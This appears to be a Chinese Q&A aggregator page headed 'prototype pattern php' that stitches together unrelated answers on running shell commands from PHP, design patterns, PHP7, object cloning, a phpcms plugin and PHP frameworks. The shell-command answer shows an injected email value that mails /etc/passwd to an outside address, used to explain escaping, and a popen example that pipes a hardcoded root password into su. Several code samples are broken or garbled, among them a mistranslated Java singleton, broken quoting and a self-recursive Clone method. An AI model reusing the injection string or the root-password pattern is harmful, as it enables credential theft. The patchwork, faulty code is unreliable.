導航:首頁 > 編程語言 > 原型模式php

原型模式php

發布時間:2022-05-10 19:13:04

php運行EXEC文件

在PHP中調用外部命令,可以用如下三種方法來實現:
1) 用PHP提供的專門函數

PHP提供共了3個專門的執行外部命令的函數:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])

system()函數很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。
例子:

復制代碼
代碼如下:

<?php

system("/usr/local/bin/webalizer/webalizer");
?>

exec()

原型:string exec (string command [, string array [, int return_var]])
exec
()函數與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個參數array
可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在調用之前最好用unset()最它清掉。只有指定了第二
個參數時,才可以用第三個參數,用來取得命令執行的狀態碼。
例子:

復制代碼
代碼如下:

<?php
exec("/bin/ls -l");

exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>

passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標准輸出設備上。所以passthru()函數經常用來調用象pbmplus
(Unix下的一個處理圖片的工具,輸出二進制的原始圖片的流)這樣的程序。同樣它也可以得到命令執行的狀態碼。
例子:

復制代碼
代碼如下:

<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>

2)
用popen()函數打開進程

上面的方法只能簡單地執行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加linux的系統用戶時,要調用su來把當前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。

popen
()函數打開一個進程管道來執行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那麼就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一
的操作模式,要麼寫,要麼讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或寫)打開的,否則必須調用pclose()函數來關閉 它。

例子1:

復制代碼
代碼如下:

<?php
$fp=popen("/bin/ls -l", "r");

?>

例子2:

復制代碼
代碼如下:

<?php
/* PHP中如何增加一個系統用戶

下面是一段常式,增加一個名字為james的用戶,
root密碼是 verygood。僅供參考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3)
用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)

這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表達式,這個表達式的值就是命令執行的結果。如:

復制代碼
代碼如下:

<?php
$res='/bin/ls -l';
echo '

'.$res.'
';
?>

這個腳本的輸出就象:
hunte.gif

hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考慮些什麼?

要考慮兩個問題:安全性和超時。

看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地
址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail程序來發送這
個文件。程序就象這樣:

復制代碼
代碼如下:

<?php
system("mail $to <
procts.txt");
echo "我們的產品目錄已經發送到你的信箱:$to";
?>

用這段代碼,一般的用戶不會產生什麼危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:

'--bla ; mail [email protected] < /etc/passwd ;'
那麼這條命令最終變成:

'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'

我相信,無論哪個網路管理人員見到這樣的命令,都會嚇出一身冷汗來。

好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字元串
中所有可能瞞過Shell而去執行另外一個命令的字元轉義。這些字元在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入
(<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字元串兩邊加上單引號,並把字元串中的單引號轉義,這樣這個字元串
就可以安全地作為命令的參數。
再來看看超時問題。如果要執行的命令要花費很長的時間,那麼應該把這個命令放到系統的後台去運
行。但在默認情況下,象system()等函數要等到這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP腳本的超時。解決的辦法是
把命令的輸出重定向到另外一個文件或流中,如:

復制代碼
代碼如下:

<?php

system("/usr/local/bin/order_proc > /tmp/null &");
?>

⑵ php執行linux命令並輸出終端屏幕顯示的內容(實時)

PHP在linux上執行命令

目錄:
一、PHP中調用外部命令介紹
二、關於安全問題
三、關於超時問題
四、關於PHP運行linux環境中命令出現的問題

一、PHP中調用外部命令介紹
在PHP中調用外部命令,可以用,1>調用專門函數、2>反引號、3>popen()函數打開進程,三種方法來實現:

方法一:用PHP提供的專門函數(四個):
PHP提供4個專門的執行外部命令的函數:exec(), system(), passthru(), shell_exec()
1)exec()
原型: string exec ( string $command [, array &$output [, int &$return_var ] )
說明: exec執行系統外部命令時不會輸出結果,而是返回結果的最後一行。如果想得到結果,可以使用第二個參數,讓其輸出到指定的數組。此數組一個記錄代表輸出的一行。即如果輸出結果有20行,則這個數組就有20條記錄,所以如果需要反復輸出調用不同系統外部命令的結果,最好在輸出每一條系統外部命令結果時清空這個數組unset($output),以防混亂。第三個參數用來取得命令執行的狀態碼,通常執行成功都是返回0。
<?php
exec("dir",$output);
print_r($output);
?>

2)system()
原型: string system ( string $command [, int &$return_var ] )
說明: system和exec的區別在於,system在執行系統外部命令時,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。
<?php
system("pwd",$result);
print $result;//輸出命令的結果狀態碼
?>
關於第二個參數結果狀態碼的簡單介紹:
如果返回0是運行成功,
在Bash中,當錯誤發生在致命信號時,bash會返回128+signal number做為返回值。
如果找不到命令,將會返回127。
如果命令找到了,但該命令是不可執行的,將返回126。
除此以外,Bash本身會返回最後一個指令的返回值。
若是執行中發生錯誤,將會返回一個非零的值。
Fatal Signal : 128 + signo
Can't not find command : 127
Can't not execute : 126
Shell script successfully executed : return the last command exit status
Fatal ring execution : return non-zero

3)passthru()
原型: void passthru ( string $command [, int &$return_var ] )
說明: passthru與system的區別,passthru直接將結果輸出到游覽器,不返回任何值,且其可以輸出二進制,比如圖像數據。第二個參數可選,是狀態碼。
<?php
header("Content-type:image/gif");
passthru("/usr/bin/ppm2tiff /usr/share/tk8.4/demos/images/teapot.ppm");
?>

4)shell_exec()
原型: string shell_exec ( string $cmd )
說明: 直接執行命令$cmd
<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>

方法二:反撇號
原型: 反撇號`(和~在同一個鍵)執行系統外部命令
說明: 在使用這種方法執行系統外部命令時,要確保shell_exec函數可用,否則是無法使用這種反撇號執行系統外部命令的。
<?php
echo `dir`;
?>

方法三:用popen()函數打開進程
原型: resource popen ( string $command , string $mode )
說明: 能夠和命令進行交互。之前介紹的方法只能簡單地執行命令,卻不能與命令交互。有時須向命令輸入一些東西,如在增加系統用戶時,要調用su來把當前用戶換到root用戶,而su命令必須要在命令行上輸入root的密碼。這種情況下,用之前提到的方法顯然是不行的。
popen( )函數打開一個進程管道來執行給定的命令,返回一個文件句柄,可以對它讀和寫。返回值和fopen()函數一樣,返回一個文件指針。除非使用的是單一的模式打開(讀or寫),否則必須使用pclose()函數關閉。該指針可以被fgets(),fgetss(),fwrite()調用。出錯時,返回FALSE。
<?php
error_reporting(E_ALL);

/* Add redirection so we can get stderr. */
$handle = popen('/path/to/executable 2>&1', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>

⑶ C#中的設計模式

不太清楚你的問題;是不是要劃線聯接啊?

迭代器設計模式 應該是 要實現 IEnumerator 介面的,它倆算是一對吧,如果是這樣的話;
那應該是這樣的了

代理設計模式 Remoting
迭代器設計模式 IEnumerator
對象工廠設計模式 Activator
復合設計模式 XmlNode
觀察者設計設計模式 event (在C#中,可以用事件模式來替代該模式)
適配器設計模式 IDataAdapter
修飾器設計模式 Attribute (修飾器與裝飾模式應該不一樣吧)
原型設計模式 ICloneable (.net中,使用該介面實現深拷貝)

以上不保證完全證確;

⑷ PHP7會毀了PHP嗎

我覺得題主說的「毀掉」的意思可能是是毀掉PHP超低的入門門檻。感覺越寫越像java。然而不可避免的,要接受改變。在ES6剛出的時候也有很多人說ES6毀了JavaScript.原型繼承的寫法多麼多麼好。class寫法多麼多麼糟。時間證明,ES6標准正在快速被實現。我相信,PHP正在越變越好
關於嚴格模式:
從目前來看我覺得新項目用PHP的話,還是開了嚴格模式比較好。因為7.1會加上JIT,性能會提升更多。不給返回值類型JIT不好做啊。對於新手來說,不開嚴格模式學習也不會有太大的問題。
總之,我覺得PHP7是個好事。我就等3號發布正式版升級了~話說什麼時候能把那些語法整理一下啊,都二十年了,咱函數名調整一下吧。要不然就被黑一輩子了 T_T

⑸ 什麼是PHP系統外部命令

在打開文件時有些限制
連接MySQL資料庫
基於HTTP的認證
在安全模式下,只有在特定目錄中的外部程序才可以被執行,對其它程序的調用將被拒絕。這個目錄可以在php.ini文件中用safe_mode_exec_dir指令,或在編譯PHP是加上--with-exec-dir選項來指定,默認是/usr/local/php/bin。
如果你調用一個應該可以輸出結果的外部命令(意思是PHP腳本沒有錯誤),得到的卻是一片空白,那麼很可能你的網管已經把PHP運行在安全模式下了。

⑹ PHP對象的淺復制與深復制的實例詳解

PHP對象的淺復制與深復制的實例詳解
最近在看原型模式時注意到這個問題~~PHP中對象
'='
與『clone'的區別
實例代碼:
//聚合類
class
ObjA
{
public
$num
=
0;
public
$objB;//包含的對象
function
__construct()
{
$this->objB
=
new
ObjB();
}
//只有實現了下面方法聚合類
才能實現深復制
/*function
__clone()
{
$this->objB
=
clone
$this->objB;
}*/
}
class
ObjB
{
public
$num2
=
0;
}
//原型對象
$objA
=
new
ObjA();
//復制對象(『='復制引用)
$objA2
=
$objA;
$objA2->num
=
2;
//隨著$objA2->num的變化
$objA->num也變化了
print_r($objA->num.'<br/>');//結果為2
print_r($objA2->num.'<br/>');//結果為2
//復制對象(『clone'關鍵字克隆)
$objA3
=
clone
$objA;
$objA3->num
=
4;
//隨著$objA3->num的變化
$objA->num沒有變化
print_r($objA->num.'<br/>');//結果為2
print_r($objA3->num.'<br/>');//結果為4
//但是clone的對象(是聚合類)中包含其他對象時所包含的對象(objB)復制的是引用
$objA3->objB->num2
=
7;
print_r($objA3->objB->num2.'<br/>');//結果是7
print_r($objA->objB->num2.'<br/>');//結果是7</pre>
如有疑問請留言或者到本站社區交流討論,感謝閱讀,希望能幫助到大家,謝謝大家對本站的支持!

⑺ 你熟悉的設計模式有哪些寫出單例模式的實現代碼

23個設計模式:

根據目的設計模式可以分為創造模式,結構模式和行為模式,創建模式用於處理對象的創建。結構模式用於處理類或對象的組合。

行為模式用於描述類或對象如何交互以及如何分配職責,創建模式用於處理對象的創建。主要包括以下五種設計模式:

工廠方法模式()

抽象工廠模式(AbstractFactoryPattern)

建造者模式(BuilderPattern)

原型模式(PrototypePattern)

單例模式(SingletonPattern)

結構模式用於處理類或對象的組合,包括以下七個設計模式:

適配器模式(AdapterPattern)

橋接模式(BridgePattern)

組合模式(CompositePattern)

裝飾者模式(DecoratorPattern)

外觀模式(FacadePattern)

享元模式(FlyweightPattern)

代理模式(ProxyPattern)

行為模式描述類或對象如何交互以及它們如何分配職責。它由以下11種設計模式組成:

責任鏈模式(Chain的ResponsibilityPattern)

命令模式(CommandPattern)

解釋器模式(InterpreterPattern)

迭代器模式(IteratorPattern)

中介者模式(MediatorPattern)

備忘錄模式(MementoPattern)

觀察者模式(ObserverPattern)

狀態模式(StatePattern)

策略模式(StrategyPattern)

模板方法模式(TemplateMethodPattern)

訪問者模式(VisitorPattern)

單例模式實現1:

公共類Singleton{

類共享實例對象

私有靜態單例;單例=零;

//私有構造函數

私有Singleton(){

系統。出去了。這是單例!!);

//獲取單例方法

公共同步靜態單例getInstance(){

//確定共享對象是否為空,如何空一個新對象

If(singleton==null){

singleton=newsingleton();

返回單例。

單例模式實現2:

公共類Singleton{

類共享實例對象實例化

=newSingleton();

//私有構造函數

私有Singleton(){

系統:出去了,這是單例!!);

//獲取單例方法

公共靜態單例getInstance(){

直接返回共享對象

返回單例。

(7)原型模式php擴展閱讀:

注意事項:

設計模式主要分三個類型:創建型和行為型。

Singleton:確保一個類只有一個實例,並為其提供一個全局訪問點

AbstractFactory:提供一個介面,用於創建一系列相關或相互依賴的對象,而無需指定它們的具體類。

FactoryMethod:定義一個用於創建對象的介面,並讓子類決定實例化哪個類。工廠方法將類的實例化延遲到子類。

Builder:將復雜對象的構造與其表示分離,使相同的構造過程可以創建不同的表示。

Prototype:指定要使用Prototype實例創建的對象的類型,並復制該原型來創建一個新對象。

Composite:將對象組合成樹狀結構,以表示整體各部分之間的關系。組合使用戶一致地使用單個對象和組合對象。

Facade:為子系統fa中的一組介面提供一致的介面。Ade提供了一個高級介面,使子系統更易於使用。

Proxy:為其他對象提供一個代理,以控制對該對象的訪問

Adapter:將一個介面類轉換為客戶想要的另一個介面類。適配器模式使那些由於介面不兼容而無法一起工作的類一起工作。

Decrator:式比子類化更靈活,可以為對象動態添加一些額外的職責。

Bridge:模式將抽象部分與其實現部分分離,以便它們可以獨立地更改。

Flyweight:享元模式

⑻ php實現原型模式中深拷貝是什麼意思

找工作之前製作簡歷時,需要做很多份簡歷,而且簡歷的格式是一樣的,也就意味著要做很多重復性的工作。在編程過程中,遇到重復性工作多的時候,粘貼復制是最快的解決辦法。但是一旦這些代碼需要修改時,那麼每一處用到這段代碼的地方都需要進行修改,這也就增加了代碼維護工作。在學習VB的時候,我們總是把相同的代碼放在模塊中,然後用到這段代碼的地方就調用模塊,這樣的話耦合性又是比較大的。那麼,解決這個問題到底該怎麼辦呢?

設計模式中的原型模式就很好的解決了這個問題。原型模式是用原型實例指定創建對象的種類,並且通過拷貝這些原型創建的對象。

也就是說,先生成一份模板,然後其餘的對象都去拷貝這份模板,那麼得到的對象就都是一樣的了。

下面小編就以簡歷復制為例子,簡單介紹原型模式:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;">//工作經歷類
class WorkExperience {
public String workDate;
public String company;
}

//簡歷類
class Resume implements Cloneable{
private String name;
private String sex;
private String age;

private WorkExperience work;

public Resume(String name){
this.name=name;
work=new WorkExperience;
}

//設置個人信息
public void SetPersonalInfo(String sex,String age){
this.sex=sex;
this.age=age;
}

//設置工作經歷
public void SetWorkExperience(String workDate,String company){
work.workDate=workDate;
work.company=company;
}

public Object Clone(){
return this.Clone();
}
}

//客戶端
class WorkResume{
public static void main(String[] args){
Resume a =new Resume("張三");
a.SetPersonalInfo("男","20");
a.SetWorkExperience("1998~2000","XX公司");
Resume b=(Resume)a.Clone();
b.SetWorkExperience("2000~2006","YY公司");
}
}</span></span>
這樣設置完成之後得到的結果卻是兩條信息是一樣的,而且工作經歷都是最新的這一條。

做代碼的內存分析,可得到如下圖:

即a、b兩個對象指向的是同一塊內存,也就是說b在進行修改時,a的信息也會被修改,這也就是原型模式的淺復制。淺復制的意思就是說,只把對象a的引用復制給b,二者指向同一區域,當一個修改時,會影響另一個對象。

對代碼進行修改,將工作經歷類改為:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;">//工作經歷類
class WorkExperience implements Cloneable{
private String workDate;
private String company;

public Object Clone(){
WorkExperience obj=new WorkExperience();
obj.workDate=this.workDate;
obj.company=this.company;
return obj;
}
}</span></span>

將簡歷類中的Clone方法改為:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;"> public Object Clone(){
Resume obj=new Resume(this.work);
obj.name=this.name;
obj.sex=this.sex;
obj.age=this.age;
return obj;
}</span></span>

並且在簡歷類中添加私有構造方法:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;"> private Resume(WorkExperience work){
this.work=(WorkExperience)work.Clone();
} </span></span>
則得到的結果就是我們想要的結果了。

對新代碼進行內存分析,如下圖:

到此為止,原型模式的深淺復制就介紹完了,如果有什麼理解不到位的地方,歡迎廣大讀者給出指導。

總結

深淺復制其實不難,只要把內存分析搞懂了就好了。淺復制是把一個對象的引用復制給另一個對象,二者對同一塊內存區域進行操作,類似於參數傳遞中的傳址。而深復制則是把原型對象的內存區域也復制一份給拷貝對象,二者各自擁有自己的引用,各自操作自己的內存區域,互不影響,類似於參數傳遞中的傳值。

⑼ phpcms怎麼添加自定義變數

第一步,添加自定義插件:
打開 \phpcms\moles\admin\templates\site_edit.tpl.php 文件,找到最後一個 </fieldset> ,在他後面添加上下面的代碼:

01 <!--自定義變數設置開始 自定義變數插件-->
02 <div class="bk10"></div>
03 <fieldset>
04 <legend>自定義變數</legend>
05 <table width="100%" class="table_form" id="myVarForm">
06 <script type="text/javascript">
07 //var t = <?php echo count($setting['var_value'])?> + 1;
08 //上面一行注釋 添加下方代碼 這樣自定義變數就可以添加很多個!
09 <?php
10 $arr = array_keys($setting['var_value']);
11 $t = max($arr);
12 ?>
13 var t = <?php echo $t;?> + 1;
14 function var_add()
15 {
16 var data = '<div id="var'+t+'"><span style="width:54px;float:left;">未定義</span><span style="width:170px"><input name="setting[var_description]['+t+']" type="text"size="26"></span><span style="width:175px;margin-left:6px;"><inputname="setting[var_name]['+t+']" type="text" size="26"></span><spanstyle="width:175px;margin-left:6px;"><input name="setting[var_value]['+t+']"type="text" size="26"></span> <span> <a href="###" onclick="var_del('+t+')">刪除</a></span></div>';
17 $('#var_define').append(data);
18 t++;
19 return true;
20 }
21 function var_del(t)
22 {
23 $('#var'+t).remove();
24 return true;
25 }
26 </script>
27 <tr>
28 <th><strong>自定義變數</strong>(<a href="###" onClick="javascript:var_add();"style="color:red">+</a>)</th>
29 <td>
30 <style type="text/css">
31 #var_define_head span{float:left;text-align:center;}
32 #myVarForm input{width:110px;}
33 </style>
34 <div id="var_define">
35 <div id="var_define_head"><span style="width:60px;">索引值</span><spanstyle="width:158px"><strong>變數描述</strong></span><span style="width:158px"><strong>變數名</strong></span><span style="width:158px"><strong>變數值</strong></span></div>
36 <?php
37 foreach($setting['var_name'] as $k=>$v){ if($k!=0)
38 {
39 ?>
40 <div id="var<?php echo $k?>"><span style="width:60px;"><input type="text" size="4"title="點擊復制到剪貼板" name="{$setting[var_value][<?php echo $k?>]}" value="<?phpecho $k?>" onDblClick="clipboardData.setData('text',this.name); alert(this.name +'已復制到剪貼板');"></span></span><span style="width:150px"><inputname="setting[var_description][<?php echo $k?>]" type="text" size="21" value="<?phpecho $setting['var_description'][$k]?>"></span><span style="width:150px;margin-left:4px;"><input name="setting[var_name][<?php echo $k?>]" type="text" size="21" value="<?php echo $v?>"></span><span style="width:150px;margin-left:4px;"><inputname="setting[var_value][<?php echo $k?>]" type="text" size="21" value="<?php echo $setting['var_value'][$k]?>"></span><span> <a href="###" onClick="var_del(<?php echo $k?>)">刪除</a><span></div>
41
42
43 <?php
44 }
45 }
46 ?>
47 </div>
48 </td>
49 </tr>
50 <tr><td>調用說明</td>
51 <td>1、首先載入站點緩存,方法如下: $siteinfo = getcache('sitelist', 'commons'); 然後可以使用var_mp()函數列印 $siteinfo 數組,可以很清楚的看到該數組的結構,如果懂得數組使用的可以很方便取到需要的值;
52 <br>
53 示例:<br>
54 <div style="border:1px solid #D8D8D8;">
55 <li>$siteinfo = getcache('sitelist', 'commons');//載入緩存文件</li>
56 <li>$siteid = $siteid?$siteid:1;//設置站點</li>
57 <li>$site_setting = string2array($siteinfo[$siteid]['setting']);//將字元串轉換為數組,前三行代碼在同一個文件里只需要寫一次就足夠了,你需要用到的頁面里可能已經做過這樣的處理,就可以連上面三步都省略掉</li>
58 <li>echo $site_setting['var_value'][0]; //將輸出第一個自定義變數的變數值</li>
59 </div>
60 <br>2、此變數為**數組模式,原型請查閱 caches\caches_commons\caches_data\sitelist.cache.php 文件.
61 <br>3、利用此插件,您可以自定義一些變數,在"任何地方"有條件的使用,作為一個"開關"或者您自己的用途.方便您在後台隨時修改設置.
62 </tr>
63 </table>
64 </fieldset>
65 <style>
66 #myVarForm input {
67 width: 110px;
68 }
69 </style>
70 <!--自定義變數設置結束-->

第二步:前台調用自定義變數
查看代碼列印?
1 <!---自定義變數插件初始化--->
2 <?php
3 $siteinfo = getcache('sitelist', 'commons');//載入緩存文件
4 $siteid = $siteid?$siteid:1;//設置站點
5 $site_setting = string2array($siteinfo[$siteid]['setting']);//將字元串轉換為數組
6 ?>
7 <!---調用自定義變數 [0]代表自定義變數的索引值。--->
8 <?php echo $site_setting['var_value'][0];?>

⑽ PHP中的各種框架

CodeIgniter、CakePHP、ZendFramework、Symfony這幾個是國外的,你可以參考下http://www.isstudy.com
CodeIgniter
優點:
1. 配置簡單,全部的配置使用PHP腳本來配置,執行效率高;具有基本的路由功能,能夠進行一定程度的路由;具有初步的Layout功能,能夠製作一定程度的界面外觀;資料庫層封裝的不錯,具有基本的MVC功能
2. 快速簡潔,代碼不多,執行性能高,框架簡單,容易上手,學習成本低,文檔詳細;自帶了很多簡單好用的library,框架適合小型應用
缺點:
1. 把Model層簡單的理解為資料庫操作
2. 框架略顯簡單,只能夠滿足小型應用,略微不太能夠滿足中型應用需要
評價:
總體來說,拿CodeIgniter來完成簡單快速的應用還是值得,同時能夠構造一定程度的layout,便於模板的復用,數據操作層來說封裝的不錯,並且CodeIgniter沒有使用很多太復雜的設計模式,執行性能和代碼可讀性上都不錯。至於附加的 library 也還不錯,簡潔高效。
CakePHP
優點:
1. CakePHP是最類似於RoR的框架,包括設計方式,資料庫操作的Active Record方式;設計層面很優雅,沒有自帶多餘的 library,所有的功能都是純粹的框架,執行效率還不錯;資料庫層的 hasOne, hasMany 功能很強大,對於復雜業務處理比較合適;路由功能,配置功能還不錯;自動構建腳手架(scaffold)很強大;適合中型應用;基本實現過了MVC每一層;具有自動操作命令行腳本功能;
2. 文檔比較全,在國內推廣的比較成功,大部分都知道CakePHP,學習成本中等
缺點:
1. CakePHP非常嚴重的問題是把Model理解為資料庫層操作,嚴重影響了除了資料庫之外的操作能力
2. CakePHP的cache功能略顯薄弱,配置功能稍嫌弱;CakePHP不適合大型應用,只適合中型應用,小型應用來說略微的學習成本高了點
評價:
總體來說CakePHP框架代表了PHP框架很重要的一個時代和代表,並且目前發揮著很重要的作用,不少自己寫的框架都模仿了CakePHP的方式,是個里程碑式的產品;CakePHP透露著RoR的敏捷開發方式和把資料庫操作認為是唯一Model的設計思想,作為開發快速應用和原型是絕好的工具;同樣,用來做Web2.0網站的開發框架,也是值得選擇的。
【 Zend Framework 】
優點:
1. 官方出品,自帶了非常多的 library,框架本身使用了很多設計模式來編寫,架構上很優雅,執行效率中等;MVC設計中,比較簡潔,具有路由功能,配置文件比較強大(能夠處理 XML和php INI),各種 library 很強大,是所有PHP框架中各種功能最全面的,包括它不僅是一個框架,更是一個大類庫(取代PEAR),這是它的主要特色;能夠直觀的支持除資料庫操作之外的Model層(比 CodeIgniter 和 CakePHP 強),並且能夠很輕易的使用Loader功能載入其他新增加的Class;Cache功能很強大,從前端Cache到後端Cache都支持,後端 Cache支持Memcache、APC、SQLite、文件等等方式;資料庫操作功能很強大,支持各種驅動(適配器)
2. 文檔很全,在國內社區很成熟,並且目前不少Web 2.0網站在使用,學習成本中等
缺點:
1. MVC功能完成比較弱,View層簡單實現(跟沒實現一樣),無法很強大的控制前端頁面
2. 沒有自動化腳本,創建一個應用,包括入口文件,全部必須自己手工構建,入門成本高
3. Zend Framework 作為一個中型應用框架問題不大,也能夠勉強作為大型應用的框架,但是作為一個很成熟的大型PHP框架來說,還需要一些努力
評價:
作為官方出品的框架,Zend Framework的野心是可以預見的,想把其他框架擠走,同時封裝很多強大的類庫,能夠提供一站式的框架服務,並且他們的開發團隊很強大,完全足夠有能力開發很強大的產品出來,所以基本可以確定的是Zend Framework前途無量,如果花費更多的時間去完善框架。同樣的,Zend Framework架構本身也是比較優雅的,說明Zend官方是有很多高手的,設計理念上比較先進,雖然有一些功能實現的不夠完善,比如View層,自動化腳本等等,這些都有賴於未來的升級。總體來說Zend Framework是最值得期待的框架,當然,你目前要投入你的項目中使用也是完全沒問題的。
【 Symfony 】
優點:
1. Symfony 是我了解的PHP框架中功能最強大的,而且我使用時間比較長,但是很多功能還是沒有挖掘出來;它完整實現了MVC三層,封裝了所有東西,包括 $_POST,$_GET 數據,異常處理,調試功能,數據檢測;包含強大的緩存功能,自動載入Class(這個功能很爽),強大的i18n國家化支持;具有很強大的view層操作,能夠零碎的包含單個多個文件;非常強大的配置功能,使用yml配置能夠控制所有框架和程序運行行為,強大到讓人無語;能夠很隨意的定義各種自己的 class,並且symfony能夠自動載入(auto load)這些class,能夠在程序中隨意調用;包含強大的多層級項目和應用管理:Project --> Application --> Mole --> Action,能夠滿足一個項目下多個應用的需要,並且每層可以定義自己的類庫,配置文件,layout;非常強大的命令行操作功能,包括建立項目、建立應用、建立模塊、刷新緩存等等;
2. Symfony絕對是開發大型復雜項目的首選,因為使用了Symfony,將大大節約開發成本,並且多人協作的時候,不會出現問題,在Project級別定義好基礎Class以後,任何模塊都能夠重用,大大復用代碼
缺點:
1. 資料庫操作model採用了重量級的propel和creole,不過在我測試的版本中已經把他們移到了addon里,可用可不用
2. 緩存功能無法控制,每次開發調試總是緩存,需要執行 symfony cc, symfony rc 來清除和重建緩存;
3. 效率不是很高,特別是解析模板和讀取配置文件的過程,花費時間不少;
4. 學習成本很高,並且國內沒有成熟的社區和文檔,連中文手冊都沒有,相應的要掌握所有功能,需要花費比較多的時間
評價:
Symfony絕對是企業級的框架,唯一能夠貌似能夠跟Java領域哪些強悍框架抗衡的東西;強悍的東西,自然學習復雜,但是相應的對項目開發也比較有幫助,自然是推薦復雜的項目使用Symfony來處理,覺得是值得,後期的維護成本比較低,復用性很強。相應的如果使用Symfony的應該都是比較復雜的互聯網項目,那麼相應的就要考慮關於資料庫分布的問題,那麼就需要拋棄Symfony自帶的資料庫操作層,需要自己定義,當然了,Symfony支持隨意的構造model層。
【 總評 】
以上數款框架,各有特色,而且都是開源項目,不過框架針對的項目不一樣,一般來說 CodeIngiter 比較適合小型項目,CakePHP 和 Zend Framework 比較適合中型項目,Symfony 比較適合大型重量級項目,在項目選型的時候,要充分考慮框架的可以定製性、擴展性,因為每個項目都無法確定你是否會隨著需求的變化進行改變。
相對來說,Zend Framework 和 Symfony 應對變化的能力比較強,特別是能夠隨意定製 model 層的Class,能夠非常方便增加自己業務或者數據處理類,我是個人比較推薦在中大型項目中使用的框架。CodeIngiter 和 CakePHP 在中小型項目中同樣能夠發揮重大作用,快速開發和原型構建,非常適合目標不清晰的原型項目的開發。了解一個框架最好的方式就是使用它,學習它最好的方式就是看視頻。
仁者見仁,智者見智,在項目挑選框架的時候,請先認真考察項目的需求和未來的變化,然後選擇合適的框架,讓項目開發速度和後期維護性得到一個合理的平衡,當然了,也許,自己寫一個框架更適合。

閱讀全文

與原型模式php相關的資料

熱點內容
管家婆輝煌2加密狗挪到另一台電腦 瀏覽:760
摩托車在哪裡app看考題 瀏覽:356
蘋果5app在哪裡設置 瀏覽:737
如何查看伺服器的磁碟使用 瀏覽:165
python蒙特卡洛模型投點圖 瀏覽:330
安卓手機屬於什麼介面 瀏覽:742
微信群推廣網站源碼 瀏覽:764
九江離鷹潭源碼 瀏覽:719
python可以當作函數的返回值 瀏覽:422
地鐵逃生體驗服怎麼進入安卓 瀏覽:833
齊魯工惠app的中獎記錄在哪裡 瀏覽:759
linuxkill命令詳解 瀏覽:103
dhcp伺服器動態分配地址 瀏覽:265
門禁卡加密了能破解嗎 瀏覽:215
在哪裡下載百度網盤app 瀏覽:917
伺服器要升級什麼意思 瀏覽:831
銀行還房貸解壓方法 瀏覽:702
伺服器主機辦公如何提速 瀏覽:920
cad列印為pdf 瀏覽:418
賣手錶的app哪裡可以賣 瀏覽:55